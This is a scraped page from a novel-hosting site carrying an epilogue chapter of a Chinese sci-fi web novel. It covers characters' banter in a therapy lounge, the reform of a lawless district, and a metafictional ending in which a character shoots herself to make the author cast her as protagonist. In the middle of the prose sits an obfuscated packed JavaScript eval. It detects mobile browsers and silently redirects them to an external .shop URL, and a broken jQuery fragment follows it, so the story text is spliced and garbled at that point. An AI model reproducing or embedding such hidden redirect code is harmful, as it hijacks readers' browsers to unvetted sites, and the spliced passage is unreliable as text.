文趣网 > 都市小说 > 死亡神座 > 75.万千可能(后续番外)[番外]
    (注:该番外含某角色与作者本人的直接对话,雷者自避)

    #07秩序型星际世界。

    星海的灵魂推开重生神殿厚重的门扉,于是看见被死亡之神摆放在右侧书架上的胜利神座。

    她叹息一声,选择将神座留下。

    但至少目前并不打算使用。

    ‘就放在这里吧。’

    等烈星回家,或许她们可以围绕「战争」、「死亡」与「胜利」展开一场谈话……

    关于生命的探讨永远不会厌倦。

    她也可以借此机会,勇于承认当初的错误。

    而关于那个被重生选择的孩子……

    该说不说,她的养母的确为她选择了一条康庄大道。

    只是…

    离别的形式格外残忍。

    *

    没有重生的三代会长在背后推波助澜,晶体集会不比上一次撑过更多时间。

    群情激愤下这座内部蛀空的庞然大物被推翻,也是顺理成章。

    以林洛为首的联邦警院迅速占领曾经集会盘踞的各个要塞。

    平心而论,很难说当下的联邦警院制度又能继续维持多久?

    百年?千年?

    林洛不知道。

    她只知道,随着时间的流逝,科技和思想不断变更——

    此时看似完善的制度待到彼时看就兴许显得鸡肋,不合心意。

    但是没关系,他们会永远大步向前。

    就像当初在这片星空里艰难求生、开疆拓土,最后深深扎根立命的祖辈一样。

    *

    人类首都星系群。

    心理咨询室-休息厅。

    “泯樾,我说你还要望向窗外多久?”

    林洛勾住秋泯樾的肩膀:“感谢秋大局长捐赠的军火,嗯?”

    “我给你特批了一条航路,还不谢谢我?”

    秋泯樾端起面前的强效安眠药:“谢谢你。还有,把手放下来。”

    林洛讪讪地把手放下:“……”

    两个浪漫主义艺术家偏偏生出这么个不近人情的玩意儿。

    ‘正正得负?’

    “在这儿干什么?等人?”

    林洛这位联邦首席是个话痨,这一点秋泯樾已经深有体会。

    “……不,等战舰。”

    “哦,那个白切黑,茶艺大师。”林洛瞬间了然。

    秋泯樾语气不愉:“你不能这样说,他不是那样的战舰。”

    林洛:“?”

    ‘行呗。你是金主,你说了算。’

    “不知道为什么,我一直觉得你是会喜欢白幼瘦那类的……”变态。

    林洛突然感慨万千。

    她想起自己第一次看到永恒星的时候……完全和想象中秋泯樾的伴侣形象对不上。

    后来和江灯无意间谈起这件事,尽管那人没有明说……

    但林洛仍能从对方脸上扭曲的神色中,看出某种所见略同的意味来。

    秋泯樾手里的杯子一抖,瞬间掉落。

    好在她反应快,及时接住才没出什么岔子。

    “这太畸形,太扭曲了。”

    她义正言辞,断然道:“我不是这样的人。”

    林洛眯眼:“……”

    ‘你这么急着表态反而很可疑,知道吗。’

    正说着,永恒星从街上推门走了进来。

    黑发仿生人个子高挑,身材匀称,容貌昳丽。

    站在秋泯樾身边是毫不逊色的另一道风景。

    永恒星看了林洛一眼,主动伸出手:“日安,林首席。”

    林洛正要回握,秋泯樾将杯子里的强效安眠药一饮而尽,‘哐铛’一声站起身……

    然后在永恒星谴责的目光里缓缓坐下。

    她对医护招招手:“服务员,再来一杯安眠药。”

    护士:“……”

    ‘病患,我忍。’

    到底是想到自己年薪百万星金币,给这人端过去了。

    林洛在一旁看得目瞪口呆:“……你俩有病是不是?”

    秋泯樾指了指门口心理咨询室的牌子,理直气壮:“是。”

    永恒星把脑袋靠在秋泯樾肩膀上:“给我也来一杯安眠药……”

    ‘一艘君主级战舰要什么安眠药。’

    林洛今天休假,索性一屁股坐在二人对面:“……什么病,说来听听?”

    永恒星几乎快把整个战舰重量都靠在秋泯樾身上:“我有分离焦虑症。”

    他受不了,万一那天再冒出来个谁谁谁的转世要杀泯樾怎么办。

    偏偏这件事还没办法和心里医生说。

    说给医生听就不止是分离焦虑症,还有被害妄想。

    林洛觉得永恒星有分离焦虑这件事不是毫无依据,因此接受良好。

    “秋大局长,你呢?”

    秋泯樾觉得没什么不能说的,于是开口就让林洛目瞪口呆:“自恋型人格障碍以及反社会人格障碍。”

    “还有一点小失眠。”

    她又吞下一大口安眠药。

    “……那,你俩好好治。”

    林洛嘴里的刻薄话滚了一圈到底是没说出来。

    ‘这俩玩意真是什么锅什么盖。’

    ‘江灯今天怎么还不给自己发消息催她加班?!’

    “我真的得回去加班了。”

    林洛当着一人一战舰的面接了个闹铃,匆匆回到联合警院总部。

    ‘以后绝对不能休假,给我闲出幻觉来了都。’

    她还是收拾收拾,去S区视察一番比较好。

    赛霓·柯莱特看着不到三小时去而复返的林洛,心底更加确信一件事:

    ‘林首席真的很喜欢工作哎!’

    她幸福地想着,以后一定要多督促林洛加班。

    法尔·艾莫什在一旁打了个寒颤:‘不不不,我不能再懈怠了!’

    他今天还有两摞文件没有批,三个地点不同的会议没有开。

    不管怎么说,他们都有美好的未来。

    *

    S区依旧是被默许的法外之地。

    只不过相较之前满大街开膛破肚的尸体来说……

    现在干净卫生,井井有条了不少。

    且在联邦警院的工作下、潜移默化地向合情、合理、合法、合规的路上靠近。

    谢家老宅。

    谢挽风仍然记得谢挽非。

    那个他在孤儿院里亲自选定的家人。

    那个孩子即便身处脏污,却依旧理所应当地享受着众星捧月的待遇。

    在遇到谢挽非前,他从未想过自己有天会渴望与另一个灵魂同住屋檐下。

    第一眼见到他的时候,自己在想什么呢?

    他在那双眼睛里,看见被甜腻掩饰的——恐怖的辉煌与璀璨。

    以及被王冠遮盖的野心。

    无穷无尽。

    如野草般猖狂。

    “……我要带他去我家。”

    17岁的谢挽风看着那个坐在孩子堆里的星星,对孤儿院院长说。

    不是回家。

    他知道拥有那样眼神的人,不会为任何停下。

    青年也不曾想过通过物质生活来绑架自己的义妹。

    他只希望,这份野心烧得旺些,势头再猛些…

    至于结果如何?谢挽非最终会成为什么样的人?

    他或许在意过,又或许完全不曾放在心上。

    毕竟青年从一开始就只是个极致的利己主义者。

    这一点上,谢挽非也是如此。

    他试想过很多结局,甚至包括谢挽非锒铛入狱,他不得不变卖全部家产去交保释金……

    却从未想过他们相处的时间如此短暂。

    谢挽非毫无留恋地离开,他却一如初见那般未能读懂他的灵魂。

    他们之间不会有再次见面的可能。

    这样也好。

    看不见你往后的辉煌,知道你还活着就已经足够。

    这是独属于这片星空的豁达。

    谢挽风到底是免去了变卖家产,交保释金之苦,但帕拉祖孙二人就没这么幸运了。

    因为安恰·帕拉敛财手段过于肮脏见不得光,被林洛亲自扔进更加见不得光的地方,估计要出来也得等下辈子。

    德里安·帕拉没有继承老帕拉灵活的头脑。

    在连续追求(划掉)骚扰两名无性未果后,为了不步老帕拉的后尘,只好在保释金上败光剩余为数不多的家产。

    现在依靠警院每月下发的救济费拮据度日。

    换个角度来看,他并非一无所得。至少学会了节俭。

    虽然离勤俭的差距还很大,但不失为一种进步。

    地下拳场旁边新开了一家合法合规,有营业执照的面包店。

    店主名叫赫尔默,是个不善言辞的中年男人。

    但好在他烤的面包比他本人受欢迎得多,很好地弥补了这一小小缺点。

    *

    断氏集团-顶楼办公室。

    断暮澜仰面横躺在宽大的沙发上,脑袋枕着扶手。

    一只手垂在地面,另一只手则挂在沙发背上有一搭没一搭地敲。

    在林洛有意整改S区的之前,她就已经从那些风声鹤唳中察觉。

    不想让偌大的集团在自己手中毁于一旦,因此可以说……

    现在明面上她和集团都再干净不过。

    至于暗地里事,无非是忍痛割下几块肉丢给那位联邦首席罢了。

    林洛才刚成气候,需要养精蓄锐。

    真正来清算自己,也要等到百年之后。

    那时的断氏集团必然已经白得不能再白了。

    但凡这位人类首席是个爱惜羽毛,识时务的家伙,就会选择同断氏集团和平共处。

    当然凡是不要太指望别人的良心。

    断暮澜也准备了其它后手……

    然而…

    “……不满。”

    她总觉得事情有什么地方不对劲。

    断暮澜猛地从沙发上坐起。

    年轻女人胳膊横撑在膝盖上,另一只手则死死捂住青筋绷起的额角。

    “…duan……究竟哪个duan?”

    ‘记忆出错?不……我没有。’

    ‘我明明记得…’

    过往始终模糊不清,像隔着一道雾墙。

    疼痛与恍惚里,她听到门外传来动静。

    ‘叩、叩、叩’,办公室大门被有节奏地敲响。

    “董事长,林首席来访。”

    “……直接进。”

    断暮澜声音阴鸷沙哑。

    门外的林洛犹豫片刻,推门而入。

    刚进断暮澜办公室,年轻人下意识向四周扫视一圈。

    虽然这个行为着实不礼貌,但好在没有什么她看了要洗眼睛的事。

    意识到自己在想什么的林洛:“……?”

    ‘不对啊……’

    ‘断暮澜的禁欲,不近活物(死物也不)色,三米之内真空地带的传不是假的啊?’

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550136|202926||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她可是亲眼见过这位的洁癖症究竟有多么令人发指的。

    ‘或许,我真应该也去心理咨询室看看?!’

    林洛有些恍惚:“段……”

    断暮澜瞳孔一缩。

    虽然发音没有差距,但实力到达Z阶后…再听语言就不只是听发音了。

    还有一句话的大致意念。

    比如对方说:“我喜欢你。”

    但心里想的却是“快去死。”

    那么Z阶耳朵里听到的是我喜欢你,同时还能感受到这句话里饱含深切的恶意。

    可以说是读心术的低配版。

    林洛也知道这一点,她开始怀疑今天自己吃错药了。

    “抱歉抱歉,我这几天太忙了…”

    断暮澜:“……没事,进来说吧。”

    让她来看看这位林首席还能出多少纰漏。

    ……三个小时后。

    林洛两眼空空地走出集团大门,断暮澜阴鸷愉悦的声音犹在耳边。

    “林首席如果心有余而力不足,断氏集团不介意出面帮、扶、一、把。”

    那无疑是张将阴柔与冷酷的美感发挥到极致的脸,可惜林首席根本生不起任何欣赏的念头。

    她打了个哆嗦,掏出联络器:“江灯啊,明天我请假,帮我预约一下最好的心理医生。”

    “对了,不要让别人知道。”

    “什么……最好的医生要排到三个月后?为什么?!”

    联络器另一边,江灯有些无奈:“秋泯樾早就把她聘请为私人医生了,三个月已经是最好的结果。”

    “……那算了。”

    林洛顿了顿:“给我安排第二好的吧。”

    她可不觉得自己和秋泯樾相互信任到可以共用一个心理医生的地步。

    这和把脑袋凑过去说‘快来杀我’有什么区别?

    江灯比了个没问题的手势后,全息屏熄灭。

    林洛抬头看了会儿蓝天,心底叹气。

    ‘所以…’

    ‘真的有谁来过了……对吧?’

    好在他们的一切都已经回到正轨。

    ——————————————

    *

    断氏集团-顶楼办公室。

    打发走林洛后,断暮澜再次跌坐回沙发上。

    “……正轨?”

    “如果我不是正规,那这里的一切与我而言都没有意义。”

    她从面前茶几的抽屉里拿出一把漆黑冰冷的手枪。

    看向■。

    “你也不想你所谓的完美结局出现任何意外吧?”

    “平心而论,我的一切都是你安排的不是吗?”

    她在质问。

    “我走在歧路上,是你的想法不是吗?”

    于是看见那双眼睛里的癫狂,读到那里面写的东西:

    ‘我对段心慈痛下杀手,难道不是因为你的剧情需要吗?’

    ‘我让一个孩子去入赘,难道不是因为你想写退缗打脸吗?’

    “同样走在你安排的道路上,没有道理厚此薄彼。”

    ■的第一反应是荒谬。

    转念思索,却发现不是没有道理。

    以断暮澜的野心与能力,如果段心慈没有重生,假以时日,她必然是这片星空的主宰,只不过手段更为残忍。

    “给我一个重新开始的机会。”

    “你不是,一直希望一个完美,平正的世界吗?”

    “我甚至没有让段心慈跟我姓,这已经足够仁至义尽。”

    “没道理我不能成为故事的主角。”

    ■:“……我是写恋爱文的。”

    ‘我可不觉得你会爱上什么人。’

    断暮澜:“……我谈。”

    ‘不就是恋爱吗?我谈。’

    ■:“……可是现在读者都要求双洁。”

    “虽然我还挺喜欢风流浪荡子设定的。”

    “双洁是什么意思?”

    断暮澜问■。

    “……呃,就是。嗐,就是,呃……没有和别人发生过……”

    ■没有这方面的羞耻,但是为了不被屏蔽只好将目光扫向她的大床。

    断暮澜:“……”

    ‘我不洁是谁写的?’

    ■:“……”

    一阵窒息的沉默里,那把枪被她抵上自己的太阳穴。

    “只要双洁就够了,对吗?”

    断暮澜目光阴冷癫狂地盯着■:“我再死一次,够不够?”

    “没有道理死过两次还不算……所谓的洁。”

    只要能成为主角。

    ■没有回答,子弹却先一步打穿她的脑浆。

    红红白白的滚烫溅了■一脸。

    那双眼里只有对成为主角的渴望,甚至根本不好奇■会给她安排什么样的对象。

    “……强买强卖啊。”

    ■目光下移,落在那具尚有余温的尸体上:“你是主角了。”

    “断暮澜。”

    ‘你真是个疯子。’

    计划外的主角…

    除了欣然回应,竟再没有别的选择。

    ‘骗你的,其实也写独美。’

    ■抹掉脸上温热的血:‘更想看你受制于……别的灵魂。’

    ‘谁让你执着于让段心慈给你当狗的。’

    ‘这可不是我的安排。’

    ‘给别的灵魂当狗去吧。’

    ■站在断暮澜办公室的落地窗前,鸠占鹊巢,颇为恶毒地想:

    ‘但愿爱能拯救你。’